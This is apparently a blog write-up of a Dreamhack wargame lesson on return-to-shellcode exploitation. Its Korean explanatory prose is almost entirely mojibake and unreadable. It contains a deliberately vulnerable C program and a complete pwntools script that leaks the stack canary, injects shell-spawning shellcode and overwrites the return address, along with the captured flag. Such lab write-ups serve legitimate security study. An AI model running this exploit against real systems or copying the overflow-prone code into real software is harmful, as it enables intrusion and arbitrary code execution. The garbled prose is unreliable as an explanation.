Exploit Tech: Return to Shellcode
Return Address OverWrite
์นด๋๋ฆฌ ์ฐํ์ ์ ธ ์ฝ๋๋ฅผ ์ด์ฉํด ์ ธ์ ํ๋ํ๋ ๋ฐฉ๋ฒ
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
๋ณดํธ๊ธฐ๋ฒ
๋ฆฌ๋
์ค์๋ ๋ค์ํ ๋ฐ์ด๋๋ฆฌ ๋ณดํธ๊ธฐ๋ฒ์ด ์กด์ฌํฉ๋๋ค.
์ ์ฉ๋ ๋ณดํธ๊ธฐ๋ฒ์ ๋ฐ๋ผ ์ต์คํ๋ก์ ์ค๊ณ๊ฐ ๋ฌ๋ผ์ง๋ฉฐ, ๋ถ์์ ์๋ํ๊ธฐ ์ ์ ํ์
์ถ์ฒ!
๋ณดํธ๊ธฐ๋ฒ์ ํ์
ํ ๋ ์ฃผ๋ก ์ฌ์ฉ๋๋ ํด์ด checksec์
๋๋ค.
pwntools๋ฅผ ์ค์นํ ๋ ๊ฐ์ด ์ค์น๋์ด ~/.local/bin/checksec์ ์์นํฉ๋๋ค.
checksec์ ์ฌ์ฉํ๋ฉด ๊ฐ๋จํ ์ปค๋งจ๋ ํ๋๋ก ๋ฐ์ด๋๋ฆฌ ๋ณดํธ๊ธฐ๋ฒ์ ํ์
ํ ์ ์์ต๋๋ค.
๋ง์ฝ ํด๋น ์ปค๋ฉ๋๋ฅผ ์ฌ์ฉํ๋ค๊ฐ command not found ๋ผ๋ ์๋ฌ๊ฐ ๋ฐ์ ์
/.bashrc์ ๋ง์ง๋ง ์ค์ ๋ค์ ์ค์ ์
๋ ฅํ์ธ์.
export PATH="$HOME/.local/bin/:$PATH"
checksec์ผ๋ก ํ์
ํ ์ ์๋ ๋ณดํธ๊ธฐ๋ฒ์ RELRO, Canary, NX, PIE ์ด๋ ๊ฒ 4๊ฐ์ง์
๋๋ค.
์ฌ๊ธฐ์ checksec์ด๋ ํด์ด ์๊ณ r2s ๋ฐ์ด๋๋ฆฌ์ ์นด๋๋ฆฌ๊ฐ ์ ์ฉ๋์๋ค๋ ๋ถ๋ถ์ด ํ์ธ๋์ฃ
์ทจ์ฝ์ ํ์
1. ๋ฒํผ์ ์ฃผ์
์ด ์ฝ๋์์ ํธ์๋ฅผ ์ํด buf์ ์ฃผ์ ๋ฐ rbp์ buf์ ์ฐจ์ด๊น์ง ํํํ๋ค์.
2. stack BOF
buf์ ํฌ๊ธฐ๊ฐ 0x50(80byte)์ธ๋ฐ..
read์ gets๋ ๋ฒํผ ์ค๋ฒ ํ๋ก์ฐ๋ฅผ ๋ฐ์์ํค๋ ํจ์๋ก ์ฌ์ฉํ๋ค์.
๋ํ ๋๋ฒ ๋ค ์
๋ ฅ๋ฐ๋๋ฐ ๋ ๋ฒ๋ค BOF๊ฐ ๋ฐ์ํ๋ฏ๋ก canary๋ฅผ ์ฐํํ ์ ์๊ฒ ๋ค์
์ด ์ฝ๋๋ฅผ ํ์ฉํด ์ ธ์ ํ๋ํด ์ฐํ๋ฅผ ํด๋ด ์๋ค.
exploit ์๋๋ฆฌ์ค๐ฌ
1. ์นด๋๋ฆฌ ์ฐํ
๋ ๋ฒ์งธ ์
๋ ฅ์ผ๋ก๋ ๋ฐํ ์ฃผ์(RET)๋ฅผ ๋ฎ์ ์๋ ์์ง๋ง, ์นด๋๋ฆฌ๊ฐ ์กฐ์๋๋ฉด..
__stack_chk_fail ํจ์์ ์ํด ํ๋ก๊ทธ๋จ์ด ๊ฐ์ ๋ก ์ข
๋ฃ๋ฉ๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก ์ฒซ ๋ฒ์งธ ์ ๋ ฅ์์ ์นด๋๋ฆฌ๋ฅผ ๊ตฌํ๊ณ , ์ด๋ฅผ ๋ ๋ฒ์งธ์ ์ ๋ ฅ์ ์ฌ์ฉํด์ผํ์ฃ
์ฒซ ๋ฒ์งธ ์
๋ ฅ์ ๋ฒํผ์ buf๋ฅผ ๋ฌธ์์ด๋ก ์ถ๋ ฅํ๋ฏ๋ก ์ ์ ํ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฐ์์ํค๋ฉด
์นด๋๋ฆฌ์ ๊ฐ์ ์ป์ ์ ์์ฃ
2. ์ ธ ํ๋
์นด๋๋ฆฌ๋ฅผ ๊ตฌํ๋ฉด, ์ด์ ๋ ๋ฒ์งธ ์
๋ ฅ์ RET๋ฅผ ๋ฎ์ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ ์ฝ๋์ get_shell()๊ณผ ๊ฐ์ ํจ์๋ ์๊ธฐ์ ์
ธ์ ํ๋ํ๋ ์ฝ๋๋ฅผ ์ง์ ์ฃผ์
ํ๊ณ ,
ํด๋น ์ฃผ์๋ก ์คํ ํ๋ฆ์ ์ฎ๊ฒจ ์ฃผ์๋ฅผ ์๊ณ ์๋ buf์ ์
ธ ์ฝ๋๋ฅผ ์ฃผ์
ํ๊ณ , ํด๋น ์ฃผ์๋ก ์คํ ํ๋ฆ ์ฎ๊น
์ ธ์ ํ๋ํ ์ ์๊ฒ ์ฃ ๊ทธ๋ผ ํ ๋ฒ ์ค์ตํด๋ณผ๊น์
์ต์คํ๋ก์
์คํ ํ๋ ์ ์ ๋ณด ์์ง๐งฑ
์คํ์ ์ด์ฉํด ๊ณต๊ฒฉํ ๊ฒ์ด๋ฏ๋ก, ์คํ ํ๋ ์์ ๊ตฌ์กฐ๋ฅผ ๋จผ์ ํ์
ํด์ผ ํฉ๋๋ค.
์ด ์์ ์์ ์คํ ํ๋ ์์ buf ์์น๋ฅผ ๋ณด์ฌ์ฃผ๋ฏ๋ก, ์ด๋ฅผ ์ ์ ํ ํ์ฑํ ์๋ง ์์ผ๋ฉด ๋์ฃ !!
์ฌ๊ธฐ์ buf์ ๊ฐ์ ์ ๋ ฅ๋ฐ๋ ๋ถ๋ถ๊ณผ buf2_sfp๋ฅผ ํ์ฑํ๋ ๋ถ๋ถ์์ ์ ๋ ์๋ฌธ์ด ๋ค์๋๋ฐ์
์ฒซ ๋ฒ์งธ๋ buf์์ ํฌ์ธํฐ๋ก ์ถ๋ ฅ๋๊ธฐ์ int(p.recvline(), 16)์ธ ๊ฑด ๋น์ฐํ์ง๋ง ๊ตณ์ด [:-1]์ ๋ฃ์์๊น?
๊ทธ ์ด์ ๋ ๋ฐ์ ๋์จ ๋งํฌ์ฒ๋ผ ๊ฐํ๋ฌธ์๋ ๋ฌธ์์ด ๋๋จ์ ํจ๊ณผ์ ์ผ๋ก ์ ๊ฑฐํ๊ธฐ ์ํด์์ด์ง๋ง ๊ฐํ๋ฌธ์๋
recvline()์์ ์ ์๋น์ด ๊ทธ ๊ธฐ์ค์ผ๋ก ๋ฐ๊ธฐ ๋๋ฌธ์ ํ์๊ฐ ์๋ค๊ณ ์๊ฐํ์ต๋๋ค.
๋ก์ปฌ์์๋ ๋น์ฐํ ๊ฐ์ ๋๊ฐ์ด(์์งํ ํ ๋๋ง๋ค ๋ฐ๋๋๊น ํ์ธ์ด ํ๋ค์ง๋ง) ๋์ค๋ ๊ฑฐ ๊ฐ๊ณ ์
๊ทธ๋์ buf = int(recvn(14), 16)์ด๋ ์ฐจ์ด๋ ์์ ๊ฑฐ ๊ฐ์๋ฐ ์ ์ ๋ฐ ํ์์ ์ ํธํ ๊น์?
๋ ์ ํํ๊ฒ ๋ฌธ์ ์์ด ๋ฐ์์์ผ๊น์?
What does [:-1] mean/do in python?
Working on a python assignment and was curious as to what [:-1] means in the context of the following code: instructions = f.readline()[:-1] Have searched on here on S.O. and on Google but to no a...
stackoverflow.com
๋ ๋ฒ์งธ๋ก๋ buf2_sfp์ ์ ์กด์ฌ ์ด์ ์
๋๋ค
๋ณธ๋ split()[0]์ ๊ณต๋ฐฑ ๊ธฐ์ค ๋ฐ์ ๋ด์ฉ์ ๋์
๋๋ฆฌ์ 0๋ฒ์งธ ์ธ๋ฑ์ค์ ๊ฐ์ ๋ถ๋ฌ์จ๋ค๋ ๋ป์ธ๋ฐ..
๋ฐ์๋๋ฆฌ๋ ์ ๋ณด ์์ฒด๊ฐ (char*)__builtin_frame_address(0) - buf ์ ๊ฐ์ธ๋ฐ
๊ทธ๋ผ ๋ฐ๋ก rbp์ buf์ ์ฐจ์ด๊ฐ ๋ฐ๋ก ๋์ค๋ ๊ฑฐ๋ผ ์ฆ, sfp๊ฐ ๋์ค๋ ๊ฑฐ์์์
๊ทธ๋ฐ๋ฐ ๊ตณ์ด split()[0]์ผ๋ก ํ ํ์๊ฐ ์์๊น์.. ์ด์งํผ sfp ์ฃผ์๊ฐ ๋ฐ๋ก ๋์ฌ๊ฑด๋ฐ..
๋ผ๋๊ฒ ์ ์ ์๊ฐ์ด์์ต๋๋ค. ๊ทธ๋ฌ๋ local๊ณผ remote์์์ ํ๊ฒฝ์ ์ํ์ฌ ๊ทธ๋ฌํ ๋ฌธ์ ๋ฅผ ์ต์ํํ๊ธฐ ์ํด
์์ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ํ์คํ๊ฒ ๋ช
์ํ์ฌ ์ง์ ํ ๊ฒ์ด ์๋๊น..
์ฆ, ์คํ์
๊ฒฐ๊ณผ๋ฅผ ์ต๋ํ ๋ช
์์ ์ผ๋ก ์ง์ ํ์ฌ ์ค๋ฒํด๋๋ฅผ ๋จ์ถ ๋ฐ ๋์ผ์๋ฅผ ์ํ ๊ฒ์ด๋ค.. ๋ผ๊ณ ์๊ฐ์ด ๋๋ค์
์คํ์ : ๋ฐฐ์ด์ด๋ ์๋ฃ ๊ตฌ์กฐ ์ค๋ธ์ ํธ ๋ด์ ์คํ์ ์ ์ผ๋ฐ์ ์ผ๋ก ๋์ผ ์ค๋ธ์ ํธ ์์์
์ค๋ธ์ ํธ ์ฒ์๋ถํฐ ์ฃผ์ด์ง ์์๋ ์ง์ ๊น์ง์ ๋ณ์์ฐจ๋ฅผ ๋ํ๋ด๋ ์ ์ํ
์คํ์ (์ปดํจํฐ ๊ณผํ) - ์ํค๋ฐฑ๊ณผ, ์ฐ๋ฆฌ ๋ชจ๋์ ๋ฐฑ๊ณผ์ฌ์
์ปดํจํฐ ๊ณผํ์์ ๋ฐฐ์ด์ด๋ ์๋ฃ ๊ตฌ์กฐ ์ค๋ธ์ ํธ ๋ด์ ์คํ์ (offset)์ ์ผ๋ฐ์ ์ผ๋ก ๋์ผ ์ค๋ธ์ ํธ ์์์ ์ค๋ธ์ ํธ ์ฒ์๋ถํฐ ์ฃผ์ด์ง ์์๋ ์ง์ ๊น์ง์ ๋ณ์์ฐจ๋ฅผ ๋ํ๋ด๋ ์ ์ํ์ด๋ค. ์ด๋ฅผํ ๋ฉด,
ko.wikipedia.org
์ค๋ฒํด๋ : ์ด๋ค ์ฒ๋ฆฌ๋ฅผ ํ๊ธฐ ์ํด ๋ค์ด๊ฐ๋ ๊ฐ์ ์ ์ธ ์ฒ๋ฆฌ ์๊ฐ · ๋ฉ๋ชจ๋ฆฌ ๋ฑ์ ์ง์นญํจ
์ค๋ฒํค๋ - ์ํค๋ฐฑ๊ณผ, ์ฐ๋ฆฌ ๋ชจ๋์ ๋ฐฑ๊ณผ์ฌ์
์ค๋ฒํค๋(overhead)๋ ์ด๋ค ์ฒ๋ฆฌ๋ฅผ ํ๊ธฐ ์ํด ๋ค์ด๊ฐ๋ ๊ฐ์ ์ ์ธ ์ฒ๋ฆฌ ์๊ฐ · ๋ฉ๋ชจ๋ฆฌ ๋ฑ์ ๋งํ๋ค. ์๋ฅผ ๋ค์ด A๋ผ๋ ์ฒ๋ฆฌ๋ฅผ ๋จ์ํ๊ฒ ์คํํ๋ค๋ฉด 10์ด ๊ฑธ๋ฆฌ๋๋ฐ, ์์ ์ฑ์ ๊ณ ๋ คํ๊ณ ๋ถ๊ฐ์ ์ธ B๋ผ๋
ko.wikipedia.org
์, ๋ํ C์ฝ๋์์ ๋ณด์๋ฉด buf(0x50)์ธ๋ฐ canary๊น์ง ํฉํ๋ฉด 0x8์ด๋ฏ๋ก
0x58์ด ๋์ผ์ง๋ง stack alignment ์ต์ ํ๋ฅผ ์ํด 16์ ๋ฐฐ์(x64๋๊น์)๋ก ์ฑ์
0x60.. ์ ๊ทธ๋ฐ์ง ์๋ฌธ์ด ๋ค๋๊ฐ ์ ๋ ์์ด์ ์ฐพ์๋ณด๋ฉฐ, ์ ๋ฆฌ๋ฅผ ํ์๋ฉด..
์ ํฌ ์ํคํ
์ฒ(x64๊ธฐ์ค) 16byte์ฉ fetch๋ฅผ ํฉ๋๋ค.
์ต๋ํ rsp(์์๋ถ๋ถ)์ชฝ์ ๊ฐ๊น๊ฒ ์์ด์ผ ์ต์ ํ๋ ์ํ์ fetch๋ฅผ ํ๊ฒ ์ฃ
๊ทธ๋ฌ๋ฏ๋ก ์คํ์ ์ต์๋จ๋ถํฐ fetch๋ฅผ ํ๋ฉฐ, ๋๋จ์ ๋ง์ถ์ด fetchํ๊ธฐ์ ์ต๋ํ ๋ง์ถ์ด ํ๋ค๋ฉด
์๋ฌด๋๋ ํจ์จ์ด ๋์ฑ ์ข๊ฒ ์ฃ
๋น์ด์๋ ๊ณต๊ฐ์ ํจ์จ?
์ฝ๋๋ฅผ ๋ณด๋ฉด buf[0x50]์ ๊ณต๊ฐ์ ์ฐจ์งํ์ง๋ง canary(0x08)๋ฅผ ๋ฃ๋๋ค๋ฉด ์๋๋ sub rsp, 0x58์ด์ง๋ง stack alignment๋ก ํจ์จ์ ๋์ด๊ธฐ ์ํด 16์๋ฐฐ…
dreamhack.io
what is "stack alignment"?
What is stack alignment? Why is it used? Can it be controlled by compiler settings? The details of this question are taken from a problem faced when trying to use ffmpeg libraries with msvc, how...
stackoverflow.com
์๋ ๋ด์ฉ์ Dreamhack ๊ด๋ฆฌ์ ๋ถ๊ป์ ์นํ ๋ฌ์์ฃผ์ ๋ด์ฉ์ผ๋ก ์ ๋ ์ฌ๊ธฐ๊น์ง๋..
์ข ์ด๋ ต๋ค์ ์์ง ์ฌ๊ธฐ๊น์ง๋ ํ์์ฑ์ด๋ ์ค์์ฑ์ ์์๊ฐ๋ ๋จ๊ณ๋ผ ๋ช
ํํ๊ฒ ๋ง์ ใ
1. System V ABI์์๋ stack alignment๊ฐ 16byte์ด๊ธธ ์๊ตฌํจ
2. Automatic Vectorization๋ฅผ ์ํด 16byte align์ ์๊ตฌ
- ์ปดํ์ผ๋ฌ์ ์ต์ ํ
3. 16byte alignment๋ฅผ ์ฌ์ฉํจ์ผ๋ก์จ cache line์ cross๊ฐ ๋ฐ์ X
- ๋ณด๋ค ํจ์จ์ ์ธ ๋ฐ์ดํฐ ์ ๊ทผ์ด ๊ฐ๋ฅํด์ง!!(๊ทธ ์ด์ ๋ ์์์ ์ค๋ช ํ์ฃ )
Why does the x86-64 / AMD64 System V ABI mandate a 16 byte stack alignment?
I've read in different places that it is done for "performance reasons", but I still wonder what are the particular cases where performance get improved by this 16-byte alignment. Or, in any case, ...
stackoverflow.com
์นด๋๋ฆฌ ๋ฆญ๐ฆ
์คํ ํ๋ ์์ ๋ํ ์ ๋ณด๋ฅผ ์์งํ์ผ๋ฏ๋ก, ์ด๋ฅผ ํ์ฉํด ์นด๋๋ฆฌ๋ฅผ ๊ตฌํฉ์๋ค.
buf์ ์นด๋๋ฆฌ ์ฌ์ด๋ฅผ ์์์ ๊ฐ์ผ๋ก ์ฑ์ฐ๋ฉด,
ํ๋ก๊ทธ๋จ์์ buf๋ฅผ ์ถ๋ ฅํ ๋ ์นด๋๋ฆฌ๋ ๊ฐ์ด ์ถ๋ ฅ๋ ๊ฒ์
๋๋ค.
์์์ ๊ตฌํ ์คํ ํ๋ ์์ ๊ตฌ์กฐ๋ฅผ ๊ณ ๋ คํด, ์นด๋๋ฆฌ๋ฅผ ๊ตฌํ๋๋ก ์คํฌ๋ฆฝํธ๋ฅผ ์ถ๊ฐํด๋ด ์๋ค.
C์ฝ๋๋ฅผ ๋ณด์๋ฉด ์์๊ฒ ์ง๋ง ๋ฐ์๋ง์ ๋ค์ fflush๋ฅผ ํ๊ธฐ ๋๋ฌธ์ ๋ฐ๊ณ ๋์
์นด๋๋ฆฌ ๋ฆญ์ ์์๋ด์ด ํด๋ณด๋ฉด.. \x00๋ก ์์ํ์ฌ Canary 7byte๋ฅผ ๋ง์ ๋ฐ๊ณ ์ถ์ถ!
์ฐธ๊ณ ๋ก Canary๋ ์ฒซ ์คํํธ๊ฐ null-byte๋ก ์์ํ๋ต๋๋ค(์ต๊ฐํด์ )
Exploit๐ฎ
์นด๋๋ฆฌ๋ฅผ ๊ตฌํ์ผ๋๊น ์ด์ buf์ ์ ์ฝ๋๋ฅผ ์ฃผ์
ํ๊ณ , ์นด๋๋ฆฌ๋ฅผ ๊ตฌํ ๊ฐ์ผ๋ก ๋ฎ์ ๋ค,
๋ฐํ ์ฃผ์(RET)๋ฅผ buf๋ก ๋ฎ์ผ๋ฉด ์
ธ์ฝ๋๊ฐ ์คํ๋๊ฒ ํ ์ ์์ต๋๋ค.
shellcraft๋ฅผ ์ฌ์ฉํด shellcode๋ฅผ ๋ถ๋ฌ์ค๊ณ , shellcode ํ์ ๋ฐ๋ก 'ljust'ํจ์๋ฅผ ํ์ฉ
buf2_cnry์ ๋ฒํผ๋งํผ shellcode๊ธฐ์
ํ ๋๋จธ์ง ๊ณต๊ฐ์ NOP๋ ๋๋ฏธ๊ฐ์ผ๋ก ์ฑ์ฐ๊ณ ..
ํ๋ํ canary๊ฐ + sfp(8byte) + buf addr(RET)๋ก ๋ฃ์ด์ gets()ํจ์์ ํน์ฑ์ ๊ณ ๋ คํด์..
๊ฐํ๋ฌธ์๊น์ง ๋ฐ์ผ๋ฏ๋ก sendlineafter๋ก ๋ฃ์ด์ ํ๋ฉด ๋ฉ๋๋ค.
Python String ljust()
Python String ljust() The string ljust() method returns a left-justified string of a given minimum width. The syntax of ljust() method is: string.ljust(width[, fillchar]) Here, fillchar is an optional parameter. String ljust() Parameters ljust() method tak
www.programiz.com
์ ์ฒด ์ฝ๋
#!/usr/bin/env python3
# Name : r2s.py
from pwn import *
def slog(n, m): return success(":".join([n, hex(m)]))
p = process('./r2s')
context(arch='amd64', os='linux')
e = ELF('./r2s')
#[1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog('Address of the buf', buf)
p.recvuntil('$rbp: ')
buf2_sfp = int(p.recvline().split()[0])
buf2_canary = buf2_sfp - 8
slog('buf <=> sfp', buf2_sfp)
slog('buf <=> canary', buf2_canary)
# [2] Leak canary value
payload = b"A"*(buf2_canary + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recvn(7))
slog("Canary", canary)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2_canary, b"A") + p64(canary) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
์ค์๋ก ์๊ฒฉ RCE๊ฐ ์๋๋ผ local์์๋ง ๋๋ ์ฝ๋์ธ๋ฐ ๊ทธ๋ฅ remote๋ง ๋ฃ์ด์ฃผ๋ฉด ๋๋๊น..
DH{333eb89c9d2615dd8942ece08c1d34d5}
๊ฒฐ๋ก
์ฝ์ค์์๋ ์คํ ๋ฒํผ์ ์ฝ๋๋ฅผ ์ฃผ์ ํ์ฌ ์คํํ์ง๋ง, ์ด ์ธ์๋ ์ ์ญ์ผ๋ก ์ ์ธ๋ ๋ฒํผ๋, ํ ๋ฒํผ ๋ฑ์๋ ์ ธ์ฝ๋๋ฅผ ์ฃผ์ ํ์ฌ ์คํ์ํฌ ์ ์์ต๋๋ค. ํนํ, ์ ์ญ ๋ฒํผ๋ PIE๊ฐ ์ ์ฉ๋์ง ์์ผ๋ฉด ์ฃผ์๊ฐ ๊ณ ์ ๋๊ธฐ ๋๋ฌธ์, ๋ฒํผ์ ์ฃผ์๋ฅผ ๊ตฌํ๋ ๋ณ๋์ ๊ณผ์ ์์ด๋ ํด๋น ๋ฒํผ๋ก ์คํ ํ๋ฆ์ ์ฎ๊ธธ ์ ์์ต๋๋ค.
์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๋ค์ ์กฐ๊ฑด์ด ๋ง์กฑ๋๋ฉด ์ฌ์ฉํ ์ ์์ต๋๋ค.
- ์ฝ๋๋ฅผ ์ฝ์ ํ ์ ์๋ ์์์ ๋ฒํผ๊ฐ ์์ ๋, ํด๋น ๋ฒํผ์ ์ฃผ์๋ฅผ ์๊ฑฐ๋, ๊ตฌํ ์ ์๋ค.
- ์คํ ํ๋ฆ์ ์ฎ๊ธธ ์ ์๋ค. ← ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ ์ฌ๊ธฐ ํฌํจ๋ฉ๋๋ค.
- Arbitrary Code Execution(์์ ์ฝ๋ ์คํ;ACE) : ์์์ ์ฝ๋ ์คํํ๋ ๊ฒ
- Remote Code Execution(์๊ฒฉ ์ฝ๋ ์คํ;RCE) : ์๊ฒฉ ์๋ฒ๋ฅผ ๋์์ผ๋ก ACE ์ํ
RCE๋ ์๋ฒ๋ฅผ ๋์์ผ๋ก ํ ๊ณต๊ฒฉ๋ค ์ค, ๋งค์ฐ ํ๊ดด์ ์ธ ๊ณต๊ฒฉ์ ์ํ๋ฉฐ, ์ปดํจํฐ ๊ณผํ์๋ค์ ์๋ฒ์์ RCE์ ์ํ์ ์ค์ด๊ธฐ ์ํด ์ฌ๋ฌ ๋ณดํธ ๊ธฐ๋ฒ์ ๊ณ ์ํ์ต๋๋ค. ๋ํ์ ์ผ๋ก ์ฝ๋ ์น์ ์ธ์ ๋ชจ๋ ์น์ ์ ์คํ ๊ถํ์ ์์ ๋ NX(Not eXecutable)๊ฐ ์์ผ๋ฉฐ, ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ ๋๋ง๋ค ์์์ ์ฃผ์์ ์คํ๊ณผ ํ์ ํ ๋นํ๋ ASLR(Address Space Layout Randomization)์ด ์์ต๋๋ค.
r2s๋ ์ปดํ์ผํ ๋, gcc์ -zexecstack ์ต์ ์ ์ถ๊ฐํ์ฌ NX๋ฅผ ํด์ ํ๊ธฐ ๋๋ฌธ์ buf์ ์ฃผ์ ํ ์ ธ์ฝ๋๋ฅผ ์คํํ ์ ์์์ต๋๋ค.
์ฐธ๊ณ ์๋ฃ
Exploit Tech: Return to Shellcode
์ด๋ฒ ์ฝ์ค์์๋ ์นด๋๋ฆฌ๋ฅผ ์ฐํํ๊ณ , ์ ธ์ฝ๋๋ก ์คํ ํ๋ฆ์ ์ฎ๊ธฐ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ์๊ฐํฉ๋๋ค.
dreamhack.io
What does [:-1] mean/do in python?
Working on a python assignment and was curious as to what [:-1] means in the context of the following code: instructions = f.readline()[:-1] Have searched on here on S.O. and on Google but to no a...
stackoverflow.com
์คํ์ (์ปดํจํฐ ๊ณผํ) - ์ํค๋ฐฑ๊ณผ, ์ฐ๋ฆฌ ๋ชจ๋์ ๋ฐฑ๊ณผ์ฌ์
์ปดํจํฐ ๊ณผํ์์ ๋ฐฐ์ด์ด๋ ์๋ฃ ๊ตฌ์กฐ ์ค๋ธ์ ํธ ๋ด์ ์คํ์ (offset)์ ์ผ๋ฐ์ ์ผ๋ก ๋์ผ ์ค๋ธ์ ํธ ์์์ ์ค๋ธ์ ํธ ์ฒ์๋ถํฐ ์ฃผ์ด์ง ์์๋ ์ง์ ๊น์ง์ ๋ณ์์ฐจ๋ฅผ ๋ํ๋ด๋ ์ ์ํ์ด๋ค. ์ด๋ฅผํ ๋ฉด,
ko.wikipedia.org
์ค๋ฒํค๋ - ์ํค๋ฐฑ๊ณผ, ์ฐ๋ฆฌ ๋ชจ๋์ ๋ฐฑ๊ณผ์ฌ์
์ค๋ฒํค๋(overhead)๋ ์ด๋ค ์ฒ๋ฆฌ๋ฅผ ํ๊ธฐ ์ํด ๋ค์ด๊ฐ๋ ๊ฐ์ ์ ์ธ ์ฒ๋ฆฌ ์๊ฐ · ๋ฉ๋ชจ๋ฆฌ ๋ฑ์ ๋งํ๋ค. ์๋ฅผ ๋ค์ด A๋ผ๋ ์ฒ๋ฆฌ๋ฅผ ๋จ์ํ๊ฒ ์คํํ๋ค๋ฉด 10์ด ๊ฑธ๋ฆฌ๋๋ฐ, ์์ ์ฑ์ ๊ณ ๋ คํ๊ณ ๋ถ๊ฐ์ ์ธ B๋ผ๋
ko.wikipedia.org
๋น์ด์๋ ๊ณต๊ฐ์ ํจ์จ?
์ฝ๋๋ฅผ ๋ณด๋ฉด buf[0x50]์ ๊ณต๊ฐ์ ์ฐจ์งํ์ง๋ง canary(0x08)๋ฅผ ๋ฃ๋๋ค๋ฉด ์๋๋ sub rsp, 0x58์ด์ง๋ง stack alignment๋ก ํจ์จ์ ๋์ด๊ธฐ ์ํด 16์๋ฐฐ…
dreamhack.io
what is "stack alignment"?
What is stack alignment? Why is it used? Can it be controlled by compiler settings? The details of this question are taken from a problem faced when trying to use ffmpeg libraries with msvc, how...
stackoverflow.com
Why does the x86-64 / AMD64 System V ABI mandate a 16 byte stack alignment?
I've read in different places that it is done for "performance reasons", but I still wonder what are the particular cases where performance get improved by this 16-byte alignment. Or, in any case, ...
stackoverflow.com
์ฐธ๊ณ ์ด๋ฏธ์ง
Exploit Tech: Return to Shellcode
์ด๋ฒ ์ฝ์ค์์๋ ์นด๋๋ฆฌ๋ฅผ ์ฐํํ๊ณ , ์ ธ์ฝ๋๋ก ์คํ ํ๋ฆ์ ์ฎ๊ธฐ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ์๊ฐํฉ๋๋ค.
dreamhack.io